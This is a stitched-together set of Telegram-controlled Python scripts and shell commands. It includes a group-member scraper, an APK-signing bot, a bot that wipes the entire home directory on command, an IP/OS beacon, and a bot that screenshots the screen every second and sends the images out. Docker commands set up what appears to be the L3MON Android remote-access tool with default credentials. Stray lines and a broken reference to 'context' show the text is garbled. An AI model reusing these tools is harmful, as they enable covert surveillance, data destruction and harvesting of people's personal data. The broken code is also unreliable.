from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch

import asyncio


api_id = 123456      # Replace with your actual API ID
api_hash = 'your_api_hash_here'
 or invite link
target_group = 'https://t.me/group_or_channel_username'

client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start()
    
    print(f"Connecting to {target_group}...")
    entity = await client.get_entity(target_group)

    print("Fetching members...")
    offset = 0
    limit = 100
    all_participants = []

    while True:
        participants = await client(GetParticipantsRequest(
            channel=entity,
            filter=ChannelParticipantsSearch(''),
            offset=offset,
            limit=limit,
            hash=0
        ))
        if not participants.users:
            break
        all_participants.extend(participants.users)
        offset += len(participants.users)

    print(f"Total users fetched: {len(all_participants)}")

    with open('users.txt', 'w', encoding='utf-8') as f:
        for user in all_participants:
            username = user.username or ''
            first_name = user.first_name or ''
            last_name = user.last_name or ''
            full_name = f"{first_name} {last_name}".strip()
            f.write(f"{username} - {full_name}\n")

    await client.send_file('me', 'users.txt', caption="Here is the list of users.")
    print("users.txt sent to your Saved Messages.")

with client:
    client.loop.run_until_complete(main())

import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
    ApplicationBuilder,
    MessageHandler,
    CommandHandler,
    ContextTypes,
    filters
)

# Telegram bot by @efxtve

BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"  # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"

logging.basicConfig(level=logging.INFO)

def create_keystore():
    if os.path.exists(KEYSTORE_FILE):
        return
    subprocess.run([
        KEYTOOL, "-genkey", "-v",
        "-keystore", KEYSTORE_FILE,
        "-alias", ALIAS,
        "-keyalg", "RSA",
        "-keysize", "2048",
        "-validity", "10000",
        "-storepass", STOREPASS,
        "-keypass", KEYPASS,
        "-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
    ], check=True)

def sign_apk(apk_path):
    subprocess.run([
        APKSIGNER, "sign",
        "--ks", KEYSTORE_FILE,
        "--ks-key-alias", ALIAS,
        "--ks-pass", f"pass:{STOREPASS}",
        "--key-pass", f"pass:{KEYPASS}",
        apk_path
    ], check=True)

# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text(
        "👋 Send an unsigned APK.\n\n"
    )

async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
    document = update.message.document
    if not document.file_name.endswith(".apk"):
        await update.message.reply_text("❌ Please send a valid `.apk` file.")
        return

    await update.message.reply_text("📥 Downloading APK...")
    file = await context.bot.get_file(document.file_id)
    apk_filename = f"input_{document.file_name}"
    await file.download_to_drive(apk_filename)

    try:
        create_keystore()
        sign_apk(apk_filename)
        await update.message.reply_text("✅ APK signed successfully. Sending back...")

        with open(apk_filename, "rb") as f:
            await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))

    except subprocess.CalledProcessError:
        await update.message.reply_text("❌ Failed to sign APK.")
    finally:
        os.remove(apk_filename)

def main():
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
    print("[*] Bot is running...")
    app.run_polling()

if __name__ == "__main__":
    main()

/start
/hardreset  

import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID'  # Replace with your Telegram user ID (int)

def hard_reset():
    home_dir = os.path.expanduser("~")
    for root, dirs, files in os.walk(home_dir, topdown=False):
        for name in files:
            try:
                os.remove(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete file {name}: {e}")
        for name in dirs:
            try:
                shutil.rmtree(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    user = update.effective_user
    if user.id != AUTHORIZED_USER_ID:
        await update.message.reply_text("Unauthorized access.")
        return

    await update.message.reply_text("Starting hard reset...")
    try:
        hard_reset()
        await update.message.reply_text("Hard reset completed.")
    except Exception as e:
        await update.message.reply_text(f"Error during hard reset: {e}")

def main():
    app = ApplicationBuilder().token(TOKEN).build()

    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("hardreset", hardreset_command))

    app.run_polling()

if __name__ == '__main__':
    main()

import requests
import socket
import platform

TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("192.168.1.1", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "Could not determine IP"

def send_message():
    ip = get_local_ip()
    msg = f"OS: {platform.system()}\nIP: {ip} is up"
    url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
    requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})

if __name__ == "__main__":
    send_message()

import os
import time
import threading
import pyautogui
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, CallbackContext

# Global variable to control the screenshot thread
screenshot_thread = None
screenshot_interval = 0
is_running = False
user_chat_id = None

def start(update: Update, context: CallbackContext):
    update.message.reply_text('Welcome to Screenshot Bot! Use /screenshot <duration> to start taking screenshots.')

def screenshot(update: Update, context: CallbackContext):
    global screenshot_thread, screenshot_interval, is_running, user_chat_id
    if is_running:
        update.message.reply_text('Screenshot process is already running.')
        return

    try:
        duration = context.args[0]  # Get the duration from the command
        if duration.endswith('m'):
            duration = int(duration[:-1]) * 60  # Convert to seconds
        else:
            update.message.reply_text('Please specify duration in minutes (e.g., 1m).')
            return
        
        user_chat_id = update.message.chat_id
        screenshot_interval = 1  # Interval of 1 second for taking screenshots
        is_running = True
        update.message.reply_text(f'Starting screenshot every {screenshot_interval} second(s) for {duration} seconds.')
        
        # Start the screenshot thread
        screenshot_thread = threading.Thread(target=take_screenshots, args=(duration,))
        screenshot_thread.start()

    except (IndexError, ValueError):
        update.message.reply_text('Usage: /screenshot <duration in minutes (e.g., 1m)>')

def take_screenshots(duration):
    start_time = time.time()
    while (time.time() - start_time) < duration:
        # Take a screenshot
        screenshot = pyautogui.screenshot()
        screenshot_np = cv2.cvtColor(np.array(screenshot), cv2.COLOR_RGB2BGR)
        file_path = 'screenshot.png'
        cv2.imwrite(file_path, screenshot_np)  # Save the screenshot
        # Send the screenshot to the user
        context.bot.send_photo(chat_id=user_chat_id, photo=open(file_path, 'rb'))
        time.sleep(screenshot_interval)

    global is_running
    is_running = False
    screenshot_thread = None

def stop(update: Update, context: CallbackContext):
    global is_running
    if is_running:
        is_running = False
        update.message.reply_text('Screenshot process stopped.')
    else:
        update.message.reply_text('No active screenshot process to stop.')

def main():
    # Replace 'YOUR_TOKEN' with your bot's token
    updater = Updater('YOUR_TOKEN', use_context=True)
    dp = updater.dispatcher

    dp.add_handler(CommandHandler("start", start))
    dp.add_handler(CommandHandler("screenshot", screenshot))
    dp.add_handler(CommandHandler("stop", stop))

    updater.start_polling()
    updater.idle()

if __name__ == '__main__':
    main()

sudo apt update && sudo apt upgrade -y
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin

docker pull efxtv/l3mon

docker run -d -p 22533:22533 -p 22222:22222 -p 2222:22 --name l3mon efxtv/l3mon

docker exec -it ContainerID bash

http://localhost:22533/

login: admin
pass: efxtv